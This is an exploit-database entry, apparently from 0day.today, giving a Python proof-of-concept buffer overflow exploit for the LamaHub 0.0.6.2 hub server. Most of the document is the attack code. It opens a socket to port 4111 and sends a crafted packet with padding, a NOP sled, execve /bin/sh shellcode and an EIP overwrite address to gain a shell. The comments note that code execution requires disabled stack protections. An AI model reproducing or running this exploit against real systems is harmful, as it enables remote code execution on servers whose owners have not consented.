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LamaHub 0.0.6.2 - Buffer Overflow
[# Exploit Title: LamaHub-0.0.6.2 BufferOverflow # Date: 09/09/09 # Exploit Author: Pi3rrot # Vendor Homepage: http://lamahub.sourceforge.net/ # Software Link: http://ovh.dl.sourceforge.net/sourceforge/lamahub/LamaHub-0.0.6.2.tar.gz # Version: 0.0.6.2 # Tested on: Debian 8 32bits # This exploit may crash the Lamahub service in many cases. # If you compile with -fno-stack-protection and -z execstack # you will be able to execute arbitrary code. # # Thanks to the AFL dev' for making the fuzzer who find the crash ;) # Thanks to gapz for AFL configuration. # # pierre@pi3rrot.net # How it works ? # Client side: # exploit_writeEIP.py # Server side: # ➜ ./server # > init () -> OK # > started on port -> 4111 # > new client -> 127.0.0.1 -> 4 # $ whoami # pierre # $ import socket HOST = 'localhost' PORT = 4111 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) buf = "" buf += "\x24\x53\x75\x70\x70\x6f\x72\x74\x73\x20\x55\x73" buf += "\x6c\x6c\x6f\x20\x49\x50\x32\x20\x65\x61\x72\x63" buf += "\x68\x20\x5a\x50\x65\x30\x20\x7c\x24\x4b\x65\x79" buf += "\x61\x7c\x24\x56\x61\x6c\x69\x64\x61\x74\x65\x4e" buf += "\x69\x63\x6b\x20\x50\x69\x65\x72\x72\x65\x7c\x24" buf += "\x56\x65\x6e\x20\x31\x2c\x30\x30\x39\x31\x7c\x24" buf += "\x47\x01\x00\x4e\x3b\x63\x6b\x4c\x69\x73\x74\x7c" buf += "\x24\x4d\x79\x49\x4e\x46\x4f\x20\x24\x41\x4c\x4c" buf += "\x20\x50\x69\x65\x72\x72\x65\x20\x4a\x65" #NEED padding of 96 shellcode = "\x90" *30 shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80" shellcode += "\x90"*42 print "Shellcode len: " print len(shellcode) buf2 = "\x61\x3c" buf2 += "\x3c\x24\x4d\x79\x80\x00\x35\x24\x70\x69\x24\x30" buf2 += "\x24\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37" buf2 += "\x37\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1" buf2 += "\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1" buf2 += "\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1" buf2 += "\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1" buf2 += "\xb1\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c" buf2 += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c" buf2 += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c" buf2 += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c" buf2 += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c" buf2 += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c" buf2 += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c" buf2 += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c" eip_overwrite = "\x2a\x6a\x06\x08" #eip_overwrite = "AAAA" buf3 = "\xd6\x26\x06\x08\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1" buf3 += "\xb1\xb1\xb1\xb1\x37\x37\x30\x2c\x49\x4e\x46\x4f" buf3 += "\x24\xca\xca\xca\xca\x20\x5a\x50\x65\x30\x20\x7c" buf3 += "\x24\x4b\x65\x79\x61\x7c\x24\x56\x20\x41\x20\x30" buf3 += "\x61\x7c\x24\x56\x69\x63\x6b\x20\x50\x69\xca\xca" buf3 += "\x0a" # Send EVIL PACKET ! s.sendall(buf + shellcode + buf2 + eip_overwrite + buf3) s.close() # 0day.today [2024-11-15] #